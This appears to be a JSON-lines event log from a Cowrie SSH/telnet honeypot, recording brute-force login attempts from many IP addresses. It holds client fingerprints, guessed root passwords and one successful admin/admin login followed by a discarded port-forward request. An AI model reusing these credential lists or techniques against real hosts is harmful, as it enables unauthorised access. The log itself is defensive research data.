{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:06.356278Z","src_ip":"119.28.117.200","session":"3067ff509c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nascar","message":"login attempt [root/nascar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:07.269875Z","src_ip":"119.28.117.200","session":"3067ff509c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:08.504913Z","src_ip":"119.28.117.200","session":"3067ff509c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40470,"dst_ip":"10.17.0.5","dst_port":23,"session":"309feecc50c4","protocol":"telnet","message":"New connection: 192.119.13.58:40470 (10.17.0.5:23) [session: 309feecc50c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:10.599770Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":37836,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c44583ea0f3","protocol":"telnet","message":"New connection: 186.195.16.41:37836 (159.203.135.109:23) [session: 4c44583ea0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:20.292037Z"}
{"eventid":"cowrie.session.closed","duration":0.0065479278564453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:20.298448Z","src_ip":"186.195.16.41","session":"4c44583ea0f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.721187114715576,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:21.797291Z","src_ip":"186.195.16.41","session":"bae4d8ab85c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":59800,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee4daa09131","protocol":"ssh","message":"New connection: 207.154.230.149:59800 (159.203.135.109:22) [session: fee4daa09131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:23.758595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:23.762810Z","src_ip":"207.154.230.149","session":"fee4daa09131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:23.844950Z","src_ip":"207.154.230.149","session":"fee4daa09131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l4d2server","message":"login attempt [root/l4d2server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:24.212056Z","src_ip":"207.154.230.149","session":"fee4daa09131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:25.297447Z","src_ip":"207.154.230.149","session":"fee4daa09131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":38686,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c677a7562d1","protocol":"ssh","message":"New connection: 43.153.0.59:38686 (159.203.135.109:22) [session: 3c677a7562d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:27.429412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:27.433741Z","src_ip":"43.153.0.59","session":"3c677a7562d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:27.501858Z","src_ip":"43.153.0.59","session":"3c677a7562d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terraria123","message":"login attempt [root/terraria123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:27.807116Z","src_ip":"43.153.0.59","session":"3c677a7562d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eff4418e592","protocol":"ssh","message":"New connection: 87.251.64.176:22474 (10.17.0.5:22) [session: 0eff4418e592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.497710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.502392Z","src_ip":"87.251.64.176","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.601206Z","src_ip":"87.251.64.176","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.880767Z","src_ip":"43.153.0.59","session":"3c677a7562d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.894557Z","src_ip":"87.251.64.176","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:28.994415Z","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:29.097770Z","src_ip":"87.251.64.176","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:29.334115Z","src_ip":"87.251.64.176","session":"0eff4418e592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":35654,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8544528c21c","protocol":"ssh","message":"New connection: 163.227.230.54:35654 (159.203.135.109:22) [session: c8544528c21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:34.343410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:34.348536Z","src_ip":"163.227.230.54","session":"c8544528c21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:34.591605Z","src_ip":"163.227.230.54","session":"c8544528c21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":40134,"dst_ip":"159.203.135.109","dst_port":22,"session":"368323e773d4","protocol":"ssh","message":"New connection: 115.178.75.242:40134 (159.203.135.109:22) [session: 368323e773d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:35.381354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:35.386367Z","src_ip":"115.178.75.242","session":"368323e773d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:35.576313Z","src_ip":"115.178.75.242","session":"368323e773d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elemental","message":"login attempt [root/elemental] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:35.596826Z","src_ip":"163.227.230.54","session":"c8544528c21c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svnsvn","message":"login attempt [root/svnsvn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:36.351922Z","src_ip":"115.178.75.242","session":"368323e773d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:36.843073Z","src_ip":"163.227.230.54","session":"c8544528c21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:37.541278Z","src_ip":"115.178.75.242","session":"368323e773d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:44.321141Z","src_ip":"115.190.168.136","session":"84a4148fd7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.69882583618164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:50.298487Z","src_ip":"192.119.13.58","session":"309feecc50c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":47000,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee305484a7eb","protocol":"ssh","message":"New connection: 108.167.177.203:47000 (159.203.135.109:22) [session: ee305484a7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:06.241044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:06.246006Z","src_ip":"108.167.177.203","session":"ee305484a7eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:06.271869Z","src_ip":"108.167.177.203","session":"ee305484a7eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!%&(_|","message":"login attempt [root/!%&(_|] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:06.406680Z","src_ip":"108.167.177.203","session":"ee305484a7eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:07.435405Z","src_ip":"108.167.177.203","session":"ee305484a7eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"893fce3e3575","protocol":"ssh","message":"New connection: 119.28.117.200:36942 (159.203.135.109:22) [session: 893fce3e3575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:23.804780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:23.813461Z","src_ip":"119.28.117.200","session":"893fce3e3575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:24.060676Z","src_ip":"119.28.117.200","session":"893fce3e3575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nasadmin","message":"login attempt [root/nasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:25.077847Z","src_ip":"119.28.117.200","session":"893fce3e3575","protocol":"ssh"}
